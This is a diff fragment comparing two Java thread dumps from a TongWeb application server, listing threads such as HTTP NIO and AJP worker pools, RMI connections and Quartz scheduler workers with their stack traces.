@@ -619,20 +609,16 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"ajp-bio-8009-exec-2" #130 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
- at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
- at java.lang.Thread.run(Thread.java:750)
+"NioBlockingSelector.BlockPoller-2" #22 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
+ at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
+ at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
+ at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
+ at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
+ at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328)
-"RMI Scheduler(0)" #17 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@30bd25d6
+"Thread-36" #140 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@35da5f41
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
@@ -644,32 +630,51 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"nio-accept-5100-1-1" #64 daemon [RUNNABLE]
+"http-nio-0.0.0.0-9060-Acceptor-0" #90 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421)
+ at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:859)
+ at java.lang.Thread.run(Thread.java:750)
+
+"snapshot" #160 daemon [WAITING] on java.util.TaskQueue@2ebf4581
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.util.TimerThread.mainLoop(Timer.java:526)
+ at java.util.TimerThread.run(Timer.java:505)
+
+"http-nio-8443-ClientPoller-1" #115 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
- at com.tongweb.netty.channel.nio.NioEventLoop.select(NioEventLoop.java:622)
- at com.tongweb.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:310)
- at com.tongweb.netty.util.concurrent.SingleThreadEventExecutor$2.run(SingleThreadEventExecutor.java:116)
- at com.tongweb.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator.run(DefaultThreadFactory.java:137)
+ at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218)
at java.lang.Thread.run(Thread.java:750)
-"process reaper" #11 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@71d3418
- java.lang.Thread.State: TIMED_WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
- at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460)
- at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362)
- at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
+"RMI TCP Connection(1)-127.0.0.1" #16 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.SocketInputStream.socketRead0(Native Method)
+ at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
+ at java.net.SocketInputStream.read(SocketInputStream.java:171)
+ at java.net.SocketInputStream.read(SocketInputStream.java:141)
+ at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
+ at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
+ at java.io.FilterInputStream.read(FilterInputStream.java:83)
+ at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$21/703451848.run(Unknown Source)
+ at java.security.AccessController.doPrivileged(Native Method)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"ajp-bio-8009-exec-3" #131 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7
+"http-nio-0.0.0.0-8080-exec-9" #99 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@faf9f2c
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -682,26 +687,13 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@37211488
- java.lang.Thread.State: WAITING
+"persistence" #158 daemon [TIMED_WAITING] on com.tongweb.monitor.persistence.TaskQueue@7643b84
+ java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
- at java.lang.Object.wait(Object.java:502)
- at java.lang.ref.Reference.tryHandlePending(Reference.java:191)
- at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153)
-
-"WebSocketClient-AsyncIO-7" #148 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
- at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262)
- at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
- at java.lang.Thread.run(Thread.java:750)
+ at com.tongweb.monitor.persistence.TimerThread.mainLoop(MonitorTimer.java:460)
+ at com.tongweb.monitor.persistence.TimerThread.run(MonitorTimer.java:408)
-"http-nio-8443-exec-6" #121 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c
+"http-nio-0.0.0.0-9060-exec-5" #82 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@658e93f4
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -714,7 +706,7 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"ajp-bio-8009-exec-9" #137 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7
+"ajp-bio-8009-exec-1" #117 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1eafae3e
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -727,7 +719,7 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"JCA-default-thread-pool-worker-6" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9
+"JCA-default-thread-pool-worker-4" #47 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@76cf56dd
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -738,19 +730,22 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"Thread-45" #155 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2a0a2be2
- java.lang.Thread.State: TIMED_WAITING
+"Signal Dispatcher" #4 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+
+"WebSocketClient-AsyncIO-5" #134 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1f6ba499
+ java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093)
- at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809)
- at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+ at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
+ at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
+ at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
+ at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262)
+ at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-8443-exec-4" #119 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c
+"http-nio-0.0.0.0-8080-exec-7" #97 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@faf9f2c
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -763,15 +758,7 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"RMI Reaper" #14 [WAITING] on java.lang.ref.ReferenceQueue$Lock@734028e0
- java.lang.Thread.State: WAITING
- at java.lang.Object.wait(Native Method)
- at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
- at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
- at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio-0.0.0.0-8080-ClientPoller-1" #114 daemon [RUNNABLE]
+"http-nio-0.0.0.0-9060-ClientPoller-0" #88 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
@@ -781,15 +768,22 @@ ThreadStacks:
at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218)
at java.lang.Thread.run(Thread.java:750)
-"Thread-56" #177 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1d937f64
- java.lang.Thread.State: WAITING
- at sun.misc.Unsafe.park(Native Method)
- at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
- at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
- at com.tongweb.heimdall.monitor.Util.WebWarnUtil$WarnCheckThread.run(WebWarnUtil.java:167)
+"DefaultQuartzScheduler_Worker-6" #147 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@2209b16c
+ java.lang.Thread.State: TIMED_WAITING
+ at java.lang.Object.wait(Native Method)
+ at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553)
+
+"ajp-bio-8009-Acceptor-0" #127 daemon [RUNNABLE]
+ java.lang.Thread.State: RUNNABLE
+ at java.net.PlainSocketImpl.socketAccept(Native Method)
+ at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
+ at java.net.ServerSocket.implAccept(ServerSocket.java:560)
+ at java.net.ServerSocket.accept(ServerSocket.java:528)
+ at com.tongweb.web.webutil.util.net.DefaultServerSocketFactory.acceptSocket(DefaultServerSocketFactory.java:60)
+ at com.tongweb.web.webutil.util.net.JIoEndpoint$Acceptor.run(JIoEndpoint.java:217)
+ at java.lang.Thread.run(Thread.java:750)
-"ajp-bio-8009-exec-6" #134 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7
+"http-nio-0.0.0.0-9060-exec-4" #81 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@658e93f4
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -802,29 +796,7 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"RMI TCP Accept-7200" #12 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at java.net.PlainSocketImpl.socketAccept(Native Method)
- at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409)
- at java.net.ServerSocket.implAccept(ServerSocket.java:560)
- at java.net.ServerSocket.accept(ServerSocket.java:528)
- at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405)
- at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377)
- at java.lang.Thread.run(Thread.java:750)
-
-"Timer-0" #169 [TIMED_WAITING] on java.util.TaskQueue@2229bd0a
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at java.util.TimerThread.mainLoop(Timer.java:552)
- at java.util.TimerThread.run(Timer.java:505)
-
-"get-gc-info-timer" #20 daemon [TIMED_WAITING] on java.util.TaskQueue@5907c796
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at java.util.TimerThread.mainLoop(Timer.java:552)
- at java.util.TimerThread.run(Timer.java:505)
-
-"http-nio-8443-exec-10" #125 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c
+"http-nio-8443-exec-5" #108 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@b1347d5
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -837,58 +809,20 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"WebSocketClient-AsyncIO-5" #146 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e
+"ajp-bio-8009-exec-9" #125 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1eafae3e
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039)
- at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403)
- at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262)
- at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112)
- at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165)
+ at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107)
+ at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085)
+ at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147)
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"RMI TCP Connection(1)-127.0.0.1" #16 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at java.net.SocketInputStream.socketRead0(Native Method)
- at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
- at java.net.SocketInputStream.read(SocketInputStream.java:171)
- at java.net.SocketInputStream.read(SocketInputStream.java:141)
- at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
- at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
- at java.io.FilterInputStream.read(FilterInputStream.java:83)
- at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$21/1648106106.run(Unknown Source)
- at java.security.AccessController.doPrivileged(Native Method)
- at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
- at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
- at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
- at java.lang.Thread.run(Thread.java:750)
-
-"DefaultQuartzScheduler_QuartzSchedulerThread" #167 [TIMED_WAITING] on java.lang.Object@2bf2f37e
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at com.tongweb.quartz.core.QuartzSchedulerThread.run(QuartzSchedulerThread.java:302)
-
-"DefaultQuartzScheduler_Worker-10" #166 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@57d95671
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Object.wait(Native Method)
- at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553)
-
-"http-nio-8443-ClientPoller-1" #127 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
- at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
- at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
- at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
- at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
- at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218)
- at java.lang.Thread.run(Thread.java:750)
-
-"http-nio-8443-exec-9" #124 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c
+"ajp-bio-8009-exec-6" #122 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1eafae3e
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -901,33 +835,27 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"RetryTimer" #49 daemon [WAITING] on java.util.TaskQueue@2d9cc13b
- java.lang.Thread.State: WAITING
- at java.lang.Object.wait(Native Method)
- at java.lang.Object.wait(Object.java:502)
- at java.util.TimerThread.mainLoop(Timer.java:526)
- at java.util.TimerThread.run(Timer.java:505)
-
-"NioBlockingSelector.BlockPoller-3" #23 daemon [RUNNABLE]
- java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
- at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
- at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
- at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
- at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
- at com.tongweb.web.webutil.util.net.NioBlockingSelector$BlockPoller.run(NioBlockingSelector.java:328)
-
-"http-nio-0.0.0.0-8080-ClientPoller-0" #113 daemon [RUNNABLE]
+"nio-accept-5100-1-1" #58 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
- at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218)
+ at com.tongweb.netty.channel.nio.NioEventLoop.select(NioEventLoop.java:622)
+ at com.tongweb.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:310)
+ at com.tongweb.netty.util.concurrent.SingleThreadEventExecutor$2.run(SingleThreadEventExecutor.java:116)
+ at com.tongweb.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator.run(DefaultThreadFactory.java:137)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-0.0.0.0-8080-exec-9" #111 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227
+"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@3e033394
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144)
+ at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165)
+ at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216)
+
+"ajp-bio-8009-exec-10" #126 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1eafae3e
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -940,7 +868,7 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-0.0.0.0-9060-exec-4" #93 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64
+"http-nio-0.0.0.0-8080-exec-1" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@faf9f2c
java.lang.Thread.State: WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175)
@@ -953,17 +881,26 @@ ThreadStacks:
at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622)
at java.lang.Thread.run(Thread.java:750)
-"http-nio-0.0.0.0-9060-ClientPoller-1" #101 daemon [RUNNABLE]
+"RMI TCP Connection(2)-172.17.0.4" #19 daemon [RUNNABLE]
java.lang.Thread.State: RUNNABLE
- at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method)
- at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269)
- at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93)
- at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86)
- at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97)
- at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218)
+ at java.net.SocketInputStream.socketRead0(Native Method)
+ at java.net.SocketInputStream.socketRead(SocketInputStream.java:116)
+ at java.net.SocketInputStream.read(SocketInputStream.java:171)
+ at java.net.SocketInputStream.read(SocketInputStream.java:141)
+ at java.io.BufferedInputStream.fill(BufferedInputStream.java:246)
+ at java.io.BufferedInputStream.read(BufferedInputStream.java:265)
+ at java.io.FilterInputStream.read(FilterInputStream.java:83)
+ at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$21/703451848.run(Unknown Source)
+ at java.security.AccessController.doPrivileged(Native Method)
+ at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687)
+ at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+ at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"com.tongweb.tongejb.pool.scheduler.2" #62 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@42b2e86f
+"Stateful cache" #54 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59c44342
java.lang.Thread.State: TIMED_WAITING
at sun.misc.Unsafe.park(Native Method)
at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215)
@@ -975,18 +912,19 @@ ThreadStacks:
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
at java.lang.Thread.run(Thread.java:750)
-"Thread-57" #178 [TIMED_WAITING]
- java.lang.Thread.State: TIMED_WAITING
- at java.lang.Thread.sleep(Native Method)
- at com.tongweb.monitor.persistence.util.IoPool$FileWriterThread.run(IoPool.java:70)
+"RetryTimer" #43 daemon [WAITING] on java.util.TaskQueue@d8386b6
+ java.lang.Thread.State: WAITING
+ at java.lang.Object.wait(Native Method)
+ at java.lang.Object.wait(Object.java:502)
+ at java.util.TimerThread.mainLoop(Timer.java:526)
+ at java.util.TimerThread.run(Timer.java:505)
-"persistence" #174 daemon [TIMED_WAITING] on java.util.TaskQueue@256ebcd8
+"DefaultQuartzScheduler_Worker-5" #146 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@f43975
java.lang.Thread.State: TIMED_WAITING
at java.lang.Object.wait(Native Method)
- at java.util.TimerThread.mainLoop(Timer.java:552)
- at java.util.TimerThread.run(Timer.java:505)
